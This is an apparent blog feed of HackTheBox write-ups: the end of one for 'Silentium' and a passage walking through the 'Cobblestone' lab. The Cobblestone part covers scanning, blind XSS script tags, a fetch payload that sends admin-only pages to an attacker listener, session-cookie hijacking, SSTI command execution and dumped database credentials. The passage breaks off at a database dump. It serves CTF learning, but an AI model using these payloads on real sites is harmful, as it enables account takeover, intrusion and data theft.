<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>ssh root@silentium.htb                                                                                    
Welcome to Ubuntu 24.04.4 LTS <span class="o">(</span>GNU/Linux 6.8.0-107-generic x86_64<span class="o">)</span>

 <span class="k">*</span> Documentation:  https://help.ubuntu.com
 <span class="k">*</span> Management:     https://landscape.canonical.com
 <span class="k">*</span> Support:        https://ubuntu.com/pro

 System information as of Mon Apr 13 10:36:51 AM UTC 2026

  System load:           0.05
  Usage of /:            82.9% of 13.37GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             235
  Users logged <span class="k">in</span>:       1
  IPv4 address <span class="k">for </span>eth0: 10.129.250.34
  IPv6 address <span class="k">for </span>eth0: dead:beef::250:56ff:fe95:b129

  <span class="o">=&gt;</span> There are 4 zombie processes.


Expanded Security Maintenance <span class="k">for </span>Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@silentium:~#
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that, we have Root!</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/linux" /><category term="diff/easy" /><summary type="html"><![CDATA[Silentium has a staging subdomain vulnerable to a CVE allowing us to reset the password of ben to gain access to Flowise. We're then able to exploit a CVE in Flowise's mcpServer configuration option to gain RCE as www-data. We're then able to pivot as ben by reusing his password that we can find in the env vars. Finally discovering Gogs service running as root on the machine we're able to exploit a CVE to conduct an arbitrary file write and write a root ssh key.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_2026-09-12-silentium/0012.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_2026-09-12-silentium/0012.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cobblestone</title><link href="https://0xw1ld.github.io/htb/2026/09/09/cobblestone.html" rel="alternate" type="text/html" title="Cobblestone" /><published>2026-09-09T00:00:00+00:00</published><updated>2026-09-09T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/09/09/cobblestone</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/09/09/cobblestone.html"><![CDATA[<p><img src="/assets/img/img_2026-09-09-cobblestone/0001.jpeg" alt="Cobblestone HackTheBox machine" /></p>
<h1 id="cobblestone">Cobblestone</h1>

<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> scan</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
|   256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Cobblestone - Official Website
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can find 2 open ports, pretty standard for a Linux box.</p>

<ul>
  <li>22 : OpenSSH 9.2p1</li>
  <li>80 : Apache httpd 2.4.62</li>
</ul>

<p>Doing a simple directory FUZZ we can find the following directories, some of which are interesting and we don’t have access.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="rouge-code"><pre>ffuf -u http://cobblestone.htb/FUZZ -e .php -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -mc all -fc 404

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cobblestone.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

.hta                    [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 298ms]
.htpasswd               [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 299ms]
.htaccess.php           [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 299ms]
.htaccess               [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 299ms]
.htpasswd.php           [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 299ms]
.hta.php                [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 304ms]
css                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 285ms]
db                      [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 287ms]
download.php            [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 286ms]
img                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 292ms]
index.php               [Status: 200, Size: 1942, Words: 138, Lines: 62, Duration: 293ms]
index.php               [Status: 200, Size: 1942, Words: 138, Lines: 62, Duration: 304ms]
javascript              [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 290ms]
js                      [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 292ms]
login.php               [Status: 200, Size: 4659, Words: 1240, Lines: 88, Duration: 289ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 288ms]
register.php            [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 290ms]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 286ms]
skins                   [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 292ms]
skins.php               [Status: 302, Size: 81, Words: 10, Lines: 4, Duration: 300ms]
templates               [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 290ms]
upload.php              [Status: 403, Size: 14, Words: 2, Lines: 1, Duration: 291ms]
user.php                [Status: 403, Size: 14, Words: 2, Lines: 1, Duration: 290ms]
vendor                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 299ms]
:: Progress: [9492/9492] :: Job [1/1] :: 139 req/sec :: Duration: [0:01:12] :: Errors: 0 ::

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="cobblestone-website">Cobblestone Website</h2>

<p>Taking a look around the website we can find what looks to be a Minecraft services website.</p>

<ul>
  <li><strong>Get Your Own</strong> leads us to a subdomain: <code class="language-plaintext highlighter-rouge">deploy.cobblestone.htb</code></li>
  <li><strong>Skin Database</strong> leads us to a page: <code class="language-plaintext highlighter-rouge">cobblestone.htb/skis.php</code></li>
  <li><strong>Vote(beta)</strong> leads us to another subdomain: <code class="language-plaintext highlighter-rouge">vote.cobblestone.htb</code></li>
</ul>

<h3 id="deploy">Deploy</h3>
<p><img src="/assets/img/img_2026-09-09-cobblestone/0002.jpeg" alt="" /></p>

<p>Still under development, nothing much to interact with here.</p>

<h3 id="skins">Skins</h3>
<p><img src="/assets/img/img_2026-09-09-cobblestone/0003.jpeg" alt="" /></p>

<p>After registering and logging in we can see that we can download skins</p>

<p>The <code class="language-plaintext highlighter-rouge">download.php</code> endpoint allows us to specify a <code class="language-plaintext highlighter-rouge">skin</code> parameter to determine the file to be downloaded.</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="nf">GET</span> <span class="nn">/download.php?skin=/skins/sword4000.png</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">cobblestone.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://cobblestone.htb/skins.php</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=4q7qsvo4a1tvtktkg63n9tf85h</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Attempting to change this value and try for different LFI tricks leads to a file not found.</p>

<p><strong>Request</strong></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="nf">GET</span> <span class="nn">/download.php?skin=/skins/../download.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">cobblestone.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://cobblestone.htb/skins.php</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=4q7qsvo4a1tvtktkg63n9tf85h</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>



</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Response</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>HTTP/1.1 200 OK
Date: Tue, 12 Aug 2025 05:24:51 GMT
Server: Apache/2.4.62 (Debian)
Content-Length: 15
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

File not found.

</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="suggest-skin">Suggest Skin</h4>
<p>Any skin suggestions seem to go to the <code class="language-plaintext highlighter-rouge">admin</code> for approval 
<img src="/assets/img/img_2026-09-09-cobblestone/0005.jpeg" alt="" /></p>

<p>Attempting a blind <code class="language-plaintext highlighter-rouge">xss</code> we start a listener and use the following payload in the username field.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>&lt;script src=http://10.10.14.158/user&gt;&lt;/script&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get the following response on our listener</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>nc <span class="nt">-lvnp</span> 80                
listening on <span class="o">[</span>any] 80 ...
connect to <span class="o">[</span>10.10.14.158] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.129.148.174] 46888
GET /user HTTP/1.1
Host: 10.10.14.158
Connection: keep-alive
User-Agent: Mozilla/5.0 <span class="o">(</span>X11<span class="p">;</span> Linux x86_64<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/115 Safari/537.36
Accept: <span class="k">*</span>/<span class="k">*</span>
Referer: http://cobblestone.htb/
Accept-Encoding: <span class="nb">gzip</span>, deflate
Accept-Language: en-US,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.9

</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="vote">Vote</h3>

<p>After registering and logging in we’re greeted with three tabs:</p>

<h4 id="vote-1">Vote</h4>
<p><img src="/assets/img/img_2026-09-09-cobblestone/0006.jpeg" alt="" /></p>

<h4 id="suggest">Suggest</h4>
<p><img src="/assets/img/img_2026-09-09-cobblestone/0007.jpeg" alt="" /></p>

<p>After putting in a suggestion we get a details page with a potential IDOR 
<img src="/assets/img/img_2026-09-09-cobblestone/0008.jpeg" alt="" /></p>

<p>We can check this by changing the <code class="language-plaintext highlighter-rouge">id</code> parameter 
<img src="/assets/img/img_2026-09-09-cobblestone/0009.jpeg" alt="" /></p>

<p>We can see other suggestions but this is not too useful, let’s move on.</p>

<h4 id="logout">Logout</h4>

<p>Logs us out</p>

<h1 id="user">User</h1>

<h2 id="admin-panel">Admin Panel</h2>

<p>Taking a deeper look at our XSS, we can’t extract cookies because it’s <code class="language-plaintext highlighter-rouge">httponly</code> but we can attempt to force the admin to read files or pages for us.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>&lt;script src=http://10.10.14.158/xss.js&gt;&lt;/script&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>I wrote the following script and found the most interesting endpoint to be <code class="language-plaintext highlighter-rouge">skins.php</code></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://cobblestone.htb/skins.php</span><span class="dl">"</span><span class="p">)</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span><span class="o">=&gt;</span><span class="nx">r</span><span class="p">.</span><span class="nx">text</span><span class="p">())</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">t</span><span class="o">=&gt;</span><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://10.10.14.158:9001</span><span class="dl">"</span><span class="p">,{</span><span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span> <span class="na">body</span><span class="p">:</span> <span class="nx">t</span><span class="p">}));</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s start a <code class="language-plaintext highlighter-rouge">python http server</code> and <code class="language-plaintext highlighter-rouge">nc listener</code> and send over our payload.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>python3 <span class="nt">-m</span> http.server 80
Serving HTTP on 0.0.0.0 port 80 <span class="o">(</span>http://0.0.0.0:80/<span class="o">)</span> ...

<span class="c"># In another terminal</span>
nc <span class="nt">-lvnp</span> 9001
listening on <span class="o">[</span>any] 9001 ...

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a call back on our listener, in which we can find the following line:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;p&gt;&lt;a</span> <span class="na">class=</span><span class="s">"text-bold text-light"</span> <span class="na">href=</span><span class="s">"skins_app_admin_server_info.php"</span> <span class="na">target=</span><span class="s">"_blank"</span><span class="nt">&gt;</span>Admin server info<span class="nt">&lt;/a&gt;&lt;/p&gt;</span>            

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s replace the first url in our <code class="language-plaintext highlighter-rouge">xss</code> with this link <code class="language-plaintext highlighter-rouge">http://cobblestone.htb/skins_app_admin_server_info.php</code></p>

<p>In the call back we can find what looks to be a <code class="language-plaintext highlighter-rouge">phpinfo()</code> page</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>&lt;tr&gt;&lt;td class="e"&gt;HTTP_COOKIE &lt;/td&gt;&lt;td class="v"&gt;PHPSESSID=padvkrbvulf25pu44vgck3q1l2 &lt;/td&gt;&lt;/tr&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Replacing our <code class="language-plaintext highlighter-rouge">PHPSESSID</code> cookie and refreshing the page we’re able to see the <code class="language-plaintext highlighter-rouge">admin</code> version of the page. 
<img src="/assets/img/img_2026-09-09-cobblestone/0010.jpeg" alt="" /></p>
<h2 id="ssti-rce">SSTI RCE</h2>

<p><em>Thanks to Y41nz for this method</em> Clicking around in <code class="language-plaintext highlighter-rouge">User Management</code>, when we click <code class="language-plaintext highlighter-rouge">preview</code> we can find the following <code class="language-plaintext highlighter-rouge">http</code> request.</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/preview_banner.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">cobblestone.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://cobblestone.htb/skins.php</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded;charset=UTF-8</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">12</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://cobblestone.htb</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=padvkrbvulf25pu44vgck3q1l2 </span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

first=cobble

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Replacing the <code class="language-plaintext highlighter-rouge">first</code> parameter with the following payload: `` we get the following response</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>HTTP/1.1 200 OK
Date: Tue, 12 Aug 2025 11:28:03 GMT
Server: Apache/2.4.62 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

&lt;h1 class="text-light display-3"&gt;Welcome 49&lt;/h1&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We successfully have <code class="language-plaintext highlighter-rouge">SSTI</code>! let’s attempt to execute commands</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a response of</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Success! Checking for files in our directory we can find the <code class="language-plaintext highlighter-rouge">db</code> folder</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Response</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre>total 116
    drwxr-xr-x 10 root root 4096 Apr 28 03:05 .
    drwxr-xr-x 5 root root 4096 Aug 12 06:30 ..
    -rw-r--r-- 1 root root 56 Sep 27 2024 composer.json
    -rw-r--r-- 1 root root 13867 Sep 27 2024 composer.lock
    drwxr-xr-x 2 root root 4096 Apr 23 07:57 css
    drwxr-xr-x 2 root root 4096 Oct 1 2024 db
    -rw-r--r-- 1 root root 611 Sep 30 2024 download.php
    drwxr-xr-x 2 root root 4096 Oct 1 2024 img
    -rw-r--r-- 1 root root 1942 Oct 1 2024 index.php
    drwxr-xr-x 2 root root 4096 Oct 1 2024 js
    -rw-r--r-- 1 root root 6269 Apr 24 04:43 login.php
    -rw-r--r-- 1 root root 1268 Apr 23 08:50 login_verify.php
    -rw-r--r-- 1 root root 101 Sep 27 2024 logout.php
    -rw-r--r-- 1 root root 493 Apr 24 02:55 preview_banner.php
    -rw-r--r-- 1 root root 2062 Apr 28 06:53 register.php
    drwxr-xrwx 2 root root 4096 Oct 1 2024 skins
    -rw-r--r-- 1 root root 7445 Apr 28 07:00 skins.php
    -rw-r--r-- 1 root root 255 Apr 28 03:04 skins_app_admin_server_info.php
    -rw-r--r-- 1 root root 1056 Apr 24 04:27 suggest_skin.php
    drwxr-xr-x 2 root root 4096 Apr 28 04:03 templates
    -rw-r--r-- 1 root root 3102 Apr 24 08:04 upload.php
    -rw-r--r-- 1 root root 3267 Apr 28 07:04 user.php
    drwxr-xr-x 5 root root 4096 Sep 27 2024 vendor
    drwxr-xr-x 2 root root 4096 Sep 27 2024 webfonts

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look in that database we can find <code class="language-plaintext highlighter-rouge">connection.php</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Response</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>total 12
    drwxr-xr-x 2 root root 4096 Oct 1 2024 .
    drwxr-xr-x 10 root root 4096 Apr 28 03:05 ..
    -rw-r--r-- 1 root root 303 Oct 1 2024 connection.php

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look at <code class="language-plaintext highlighter-rouge">/etc/apache2/sites-available/000-default.conf</code> We can find the following port: <code class="language-plaintext highlighter-rouge">25151</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
</pre></td><td class="rouge-code"><pre>&lt;VirtualHost *:80&gt;
	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]
	ServerName 127.0.0.1
	ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
	ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
	ServerName cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/html

	&lt;Directory /var/www/html&gt;
		AAHatName cobblestone
	&lt;/Directory&gt;

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]

	Alias /cobbler /srv/www/cobbler

	&lt;Directory /srv/www/cobbler&gt;
		Options Indexes FollowSymLinks
		AllowOverride None
		Require all granted
	&lt;/Directory&gt;

&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
	ServerName deploy.cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/deploy

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
	RewriteRule /.* http://deploy.cobblestone.htb/ [R]
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
	ServerName vote.cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/vote

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
	RewriteRule /.* http://vote.cobblestone.htb/ [R]
&lt;/VirtualHost&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look at <code class="language-plaintext highlighter-rouge">connection.php</code> in the <code class="language-plaintext highlighter-rouge">db</code> folder we can find database credentials.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>&lt;?php

<span class="nv">$dbserver</span> <span class="o">=</span> <span class="s2">"localhost"</span><span class="p">;</span>
<span class="nv">$username</span> <span class="o">=</span> <span class="s2">"dbuser"</span><span class="p">;</span>
<span class="nv">$password</span> <span class="o">=</span> <span class="s2">"aichooDeeYanaekungei9rogi0eMuo2o"</span><span class="p">;</span>
<span class="nv">$dbname</span> <span class="o">=</span> <span class="s2">"cobblestone"</span><span class="p">;</span>

<span class="nv">$conn</span> <span class="o">=</span> new mysqli<span class="o">(</span><span class="nv">$dbserver</span>, <span class="nv">$username</span>, <span class="nv">$password</span>, <span class="nv">$dbname</span><span class="o">)</span><span class="p">;</span>

// Check connection
<span class="k">if</span> <span class="o">(</span><span class="nv">$conn</span>-&gt;connect_errno <span class="o">&gt;</span> 0<span class="o">)</span> <span class="o">{</span>
    die<span class="o">(</span><span class="s2">"Connection failed: "</span> <span class="nb">.</span> <span class="nv">$conn</span>-&gt;connect_error<span class="o">)</span><span class="p">;</span>
<span class="o">}</span>
?&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s use <code class="language-plaintext highlighter-rouge">mysqldump</code> to dump the database.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>

</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>&lt;SNIP&gt;
